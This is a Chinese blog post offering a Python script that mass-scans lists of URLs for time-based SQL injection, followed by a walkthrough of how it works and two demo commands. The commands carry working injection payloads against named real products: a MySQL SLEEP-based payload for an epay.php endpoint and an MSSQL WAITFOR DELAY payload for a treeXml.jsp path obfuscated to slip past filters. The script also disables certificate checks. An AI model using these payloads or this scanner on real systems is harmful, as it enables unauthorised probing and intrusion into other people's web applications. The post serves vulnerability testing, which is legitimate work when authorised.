当前位置: 首页 > news >正文

【python脚本】批量检测sql延时注入

文章目录

  • 前言
  • 批量检测sql延时注入
  • 工作原理
  • 脚本演示


前言

SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术,当传统的基于错误信息或数据回显的注入方法不可行时,例如当Web应用进行了安全配置,不显示任何错误信息或敏感数据时,延时注入可以作为一种有效的攻击手段。

于是我想!写个脚本来批量扫描岂不美滋滋!


批量检测sql延时注入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode# 定义控制台输出颜色代码
# 定义控制台输出颜色代码
RED = '\033[91m'
RESET = '\033[0m'def check_sql_delay_injection(url, path, payload, method):"""检查给定的URL是否存在SQL延迟注入漏洞。:param url: 目标URL:param path: 注入点:param payload: 测试负载:param method: 传参方式"""try:# 构造HTTP请求头headers = {"Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}# 如果是GET请求,将数据附加到URL后面if method.upper() == "GET":url1 = url# 构造用于检测SQL注入漏洞的URL路径url += pathurl += "?" + payload  # 注意:这里使用?来追加参数# 解析URL,获取协议、域名和路径parsed_url = urlparse(url)# 根据URL协议创建HTTP或HTTPS连接if parsed_url.scheme == "https":# 忽略SSL证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 记录请求开始时间start_time = time.time()# 发送GET请求conn.request("GET", url, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_timeelse:url1 = url# 解析URL,获取协议、域名和路径parsed_url = urlparse(url)body = payload# 根据URL的协议选择HTTP或HTTPS连接conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)start_time = time.time()# 发送POST请求conn.request("POST", path, body=body, headers=headers)response = conn.getresponse()# 记录请求结束时间elapsed_time = time.time() - start_time# 如果响应时间在3到5秒之间,可能存在延迟注入漏洞if 3 <= elapsed_time <= 6:print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延时注入漏洞{RESET}")else:print(f"URL [{url1}{path}|0.0620] 不存在SQL延时注入漏洞")except Exception as e:print(f"URL [{url1}{path}] 请求失败: {e}")def main():"""程序主入口,负责解析命令行参数并执行漏洞检查。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在SQL延时注入漏洞')parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')parser.add_argument('-p', '--path', default="", help='指定要请求的路径')parser.add_argument('-pl', '--payload', default="", help='')parser.add_argument('-m', '--method', default="POST", help='请求方法(GET或POST)')# 解析命令行参数args = parser.parse_args()# 如果指定了URL参数if args.url:# 确保URL以http或https开头if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 执行漏洞检查check_sql_delay_injection(args.url, args.path, args.payload, args.method)# 如果指定了文件参数elif args.file:# 打开文件并读取URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()# 遍历文件中的每个URL进行检查for url in urls:# 确保URL以http或https开头dataif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 执行漏洞检查check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':main()

工作原理

这个Python脚本是一个用于检测SQL延迟注入漏洞的工具。它通过发送HTTP请求到目标URL,并根据响应时间来判断是否存在SQL延迟注入的可能性。以下是脚本的工作过程和原理的详细解释:

  1. 导入模块:脚本开始时导入了所需的模块,包括http.client用于创建HTTP连接,ssl用于处理HTTPS请求的SSL上下文,argparse用于解析命令行参数,time用于测量请求的响应时间,以及urllib.parse中的urlparseurlencode用于解析和编码URL。

  2. 定义颜色代码:为了在控制台输出中使用颜色,脚本定义了两个变量REDRESET,分别用于开始和结束红色文本的输出。

  3. 定义检测函数check_sql_delay_injection函数是脚本的核心,它接收目标URL、注入点、测试负载和传参方式作为参数。函数内部首先构造HTTP请求头,然后根据请求方法(GET或POST)来构造请求。

  4. GET请求处理

    • 如果请求方法是GET,脚本会将注入点和测试负载附加到URL后面,形成完整的请求URL。
    • 使用urlparse解析这个URL,获取协议、域名和路径。
    • 根据URL的协议(http或https),创建相应的HTTP或HTTPS连接。
    • 发送GET请求,并测量请求的响应时间。
  5. POST请求处理

    • 如果请求方法是POST,脚本会将测试负载作为请求体,并将注入点作为请求路径。
    • 与GET请求类似,根据URL协议创建连接,并发送POST请求。
    • 同样测量请求的响应时间。
  6. 判断延迟注入:脚本通过比较响应时间是否在3到6秒之间来判断是否存在SQL延迟注入漏洞。如果是,脚本会输出警告信息,指出可能存在漏洞。

  7. 异常处理:在尝试发送请求和接收响应的过程中,如果发生任何异常,脚本会捕获这些异常并输出错误信息。

  8. 命令行参数解析main函数负责解析命令行参数。用户可以通过-u/--url指定单个目标URL,或者通过-f/--file指定包含多个URL的文件。用户还可以指定请求路径(-p/--path)、测试负载(-pl/--payload)和请求方法(-m/--method)。

  9. 执行检测:根据用户提供的参数,脚本会遍历每个URL并调用check_sql_delay_injection函数来执行检测。

  10. 程序入口:脚本的标准入口是if __name__ == '__main__'部分,它调用main函数来启动程序。

这个脚本的原理基于SQL延迟注入漏洞的一个特点,通过构造特殊的SQL语句,使得数据库在执行时故意延迟,从而推断出某些信息。通过测量HTTP请求的响应时间,脚本尝试检测这种延迟。如果响应时间异常,就可能表明存在SQL延迟注入漏洞。

脚本演示

测试用例1:29网课交单平台epay.phpSQL注入漏洞
测试命令:

python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST

在这里插入图片描述

测试用例2:飞企互联treeXml.jspSQL注入
测试命令:

python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET

在这里插入图片描述


当人们做不到一些事情的时候,他们会对你说你也同样不能。

相关文章:

【python脚本】批量检测sql延时注入

文章目录 前言批量检测sql延时注入工作原理脚本演示 前言 SQL延时注入是一种在Web应用程序中利用SQL注入漏洞的技术&#xff0c;当传统的基于错误信息或数据回显的注入方法不可行时&#xff0c;例如当Web应用进行了安全配置&#xff0c;不显示任何错误信息或敏感数据时&#x…...

在C++中如何理解const关键字的不同用法(如const变量、const成员函数、const对象等)

在C中&#xff0c;const关键字是一个非常重要的修饰符&#xff0c;它用于指明变量、函数参数、成员函数或对象的内容是不可变的。理解const的不同用法对于编写高质量、易维护的C代码至关重要。下面详细解释const在几种不同上下文中的用法和含义。 1. const变量 当变量被声明为…...

JavaSEJava8 时间日期API + 使用心得

文章目录 1. LocalDate2. LocalTime3. LocalDateTime3.1创建 LocalDateTime3.2 LocalDateTime获取方法 4. LocalDateTime转换方法4.1 LocalDateTime增加或者减少时间的方法4.2 LocalDateTime修改方法 5. Period6. Duration7. 格式转换7.1 时间日期转换为字符串7.2 字符串转换为…...

【亲测解决】Python时间问题

微信公众号&#xff1a;leetcode_algos_life&#xff0c;代码随想随记 小红书&#xff1a;412408155 CSDN&#xff1a;https://blog.csdn.net/woai8339?typeblog &#xff0c;代码随想随记 GitHub: https://github.com/riverind 抖音【暂未开始&#xff0c;计划开始】&#xf…...

Linux屏幕驱动开发调试笔记

引言 首先了解下什么是MIPI-DSI&#xff1a; MIPI-DSI是一种应用于显示技术的串行接口&#xff0c;兼容DPI(显示像素接口&#xff0c;Display Pixel Interface)、DBI(显示总线接口&#xff0c;Display Bus Interface)和DCS(显示命令集&#xff0c;Display Command Set)&#…...

Nginx Http缓存的必要性!启发式缓存有什么弊端?

&#x1f440; Nginx Http缓存的必要性&#xff01;启发式缓存有什么弊端&#xff1f; 简介启发式缓存引发的问题nginx缓存配置 简介 我们在使用React或者Vue开发项目中会使用hash、chunkhash、contenthash来给静态资源文件进行命名。这带来的好处便是当我们部署完项目后&…...

【RT摩拳擦掌】RT云端测试之百度天工物接入构建(设备型)

【RT摩拳擦掌】RT云端测试之百度天工物接入构建&#xff08;设备型&#xff09; 一&#xff0c; 文档介绍二&#xff0c; 物接入IOT Hub物影子构建2.1 创建设备型项目2.2 创建物模型2.3 创建物影子 三&#xff0c; MQTT fx客户端连接云端3.1 MQTT fx配置3.2 MQTT fx订阅3.3 MQT…...

Mysql和ES使用汇总

一、mysql和ES在业务上的配合使用 一般使用时使用ES 中存储全文检索的关键字与获取的商品详情的id&#xff0c;通过ES查询获取查询商品的列表中展示的数据&#xff0c;通过展示id 操作去获取展示商品的所有信息。mysql根据id去查询数据库数据是很快的&#xff1b; 为什么ES一般…...

Android中使用performClick触发点击事件

Android中使用performClick触发点击事件 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将探讨在Android开发中如何使用 performClick() 方法来触发点击…...

重生之我要学后端01--后端语言选择和对应框架选择

编程语言 后端开发通常需要掌握至少一种编程语言。以下几种语言在后端开发中非常流行&#xff1a; Java&#xff1a;广泛用于企业级应用程序。Python&#xff1a;因其易学性和强大的库支持&#xff08;如Django和Flask&#xff09;而受欢迎。Node.js&#xff08;JavaScript&a…...

C语言 | Leetcode C语言题解之第206题反转链表

题目&#xff1a; 题解&#xff1a; struct ListNode* reverseList(struct ListNode* head) {if (head NULL || head->next NULL) {return head;}struct ListNode* newHead reverseList(head->next);head->next->next head;head->next NULL;return newHea…...

Flink Window DEMO 学习

该文档演示了fink windows的操作DEMO 环境准备&#xff1a; kafka本地运行&#xff1a;kafka部署自动生成名字代码&#xff1a;随机名自动生成随机IP代码&#xff1a;随机IPFlink 1.18 测试数据 自动向kafka推送数据 import cn.hutool.core.date.DateUtil; import com.alibab…...

library source does not match the bytecode for class SpringApplication

library source does not match the bytecode for class SpringApplication 问题描述&#xff1a;springboot源码点进去然后download source后提示标题内容。spring版本5.2.8.RELEASE&#xff0c;springboot版本2.7.18 解决方法&#xff1a;把spring版本改为与boot版本对应的6.…...

Linux基础指令介绍与详解——原理学习

前言&#xff1a;本节内容标题虽然为指令&#xff0c;但是并不只是讲指令&#xff0c; 更多的是和指令相关的一些原理性的东西。 如果友友只想要查一查某个指令的用法&#xff0c; 很抱歉&#xff0c; 本节不是那种带有字典性质的文章。但是如果友友是想要来学习的&#xff0c;…...

【代码随想录算法训练Day52】LeetCode 647. 回文子串、LeetCode 516.最长回文子串

Day51 动态规划第十三天 LeetCode 647. 回文子串 dp数组的含义&#xff1a;i到j的子串是否是回文的&#xff0c;是的话dp[i][j]1 递推公式&#xff1a;if(s[i]s[j]) i j 一个元素 是回文的 |i-j|1 两个元素 是回文的 j-i>1 判断dp[i1][j-1] 初始化&#xff1a;全部初始化成…...

VUE项目安全漏洞扫描和修复

npm audit 1、npm audit是npm 6 新增的一个命令,可以允许开发人员分析复杂的代码并查明特定的漏洞。 2、npm audit名称执行&#xff0c;需要包package.json和package-lock.json文件。它是通过分析 package-lock.json 文件&#xff0c;继而扫描我们的包分析是否包含漏洞的。 …...

Nginx主配置文件---Nginx.conf

nginx主配置文件的模块介绍 全局块&#xff1a; 全局块是配置文件从开始到 events 块之间的部分&#xff0c;其中指令的作用域是 Nginx 服务器全局。主要指令包括&#xff1a; user&#xff1a;指定可以运行 Nginx 服务的用户和用户组&#xff0c;只能在全局块配置。例如&…...

IOS Swift 从入门到精通:写入 Firestore数据库

文章目录 FirestoreManager 类创建文档更新文档更新 Firestore 权限规则现在,我们想要在 Firestore 中添加或更新文档。如果您还没有,我建议您阅读有关设置 Firebase Auth 和从 Firestore 读取的部分。您必须在应用程序中启用 Firebase,并在项目中启用 Firestore 数据库,才…...

维克日记 v0.4.2:开发者友好的数字化笔记工具

维克日记&#xff0c;专为技术开发者和笔记爱好者设计的数字化笔记工具&#xff0c;以其强大的功能和灵活的配置赢得了用户的好评。软件采用Markdown语法&#xff0c;提供实时预览功能&#xff0c;让您的笔记编辑更加高效和直观。维克日记的用户界面简洁而功能齐全&#xff0c;…...

语音房平台交友,语聊APP系统开发线上语音交友平台成熟案例源码出售

随着移动互联网的快速发展&#xff0c;人们对于社交方式的需求也在不断变化&#xff0c;语音房平台交友语助APP作为一种新兴的社交方式&#xff0c;以其独特的语音交流模式和实时互动的特点&#xff0c;受到了越来越多用户的喜爱本文将详细介绍语音房平台交友语聊APP系统的开发…...

挑战杯推荐项目

“人工智能”创意赛 - 智能艺术创作助手&#xff1a;借助大模型技术&#xff0c;开发能根据用户输入的主题、风格等要求&#xff0c;生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用&#xff0c;帮助艺术家和创意爱好者激发创意、提高创作效率。 ​ - 个性化梦境…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端

&#x1f31f; 什么是 MCP&#xff1f; 模型控制协议 (MCP) 是一种创新的协议&#xff0c;旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议&#xff0c;它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持&#xff0c;不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...

QT: `long long` 类型转换为 `QString` 2025.6.5

在 Qt 中&#xff0c;将 long long 类型转换为 QString 可以通过以下两种常用方法实现&#xff1a; 方法 1&#xff1a;使用 QString::number() 直接调用 QString 的静态方法 number()&#xff0c;将数值转换为字符串&#xff1a; long long value 1234567890123456789LL; …...

Spring AOP代理对象生成原理

代理对象生成的关键类是【AnnotationAwareAspectJAutoProxyCreator】&#xff0c;这个类继承了【BeanPostProcessor】是一个后置处理器 在bean对象生命周期中初始化时执行【org.springframework.beans.factory.config.BeanPostProcessor#postProcessAfterInitialization】方法时…...

网页端 js 读取发票里的二维码信息(图片和PDF格式)

起因 为了实现在报销流程中&#xff0c;发票不能重用的限制&#xff0c;发票上传后&#xff0c;希望能读出发票号&#xff0c;并记录发票号已用&#xff0c;下次不再可用于报销。 基于上面的需求&#xff0c;研究了OCR 的方式和读PDF的方式&#xff0c;实际是可行的&#xff…...

Cursor AI 账号纯净度维护与高效注册指南

Cursor AI 账号纯净度维护与高效注册指南&#xff1a;解决限制问题的实战方案 风车无限免费邮箱系统网页端使用说明|快速获取邮箱|cursor|windsurf|augment 问题背景 在成功解决 Cursor 环境配置问题后&#xff0c;许多开发者仍面临账号纯净度不足导致的限制问题。无论使用 16…...

IP选择注意事项

IP选择注意事项 MTP、FTP、EFUSE、EMEMORY选择时&#xff0c;需要考虑以下参数&#xff0c;然后确定后选择IP。 容量工作电压范围温度范围擦除、烧写速度/耗时读取所有bit的时间待机功耗擦写、烧写功耗面积所需要的mask layer...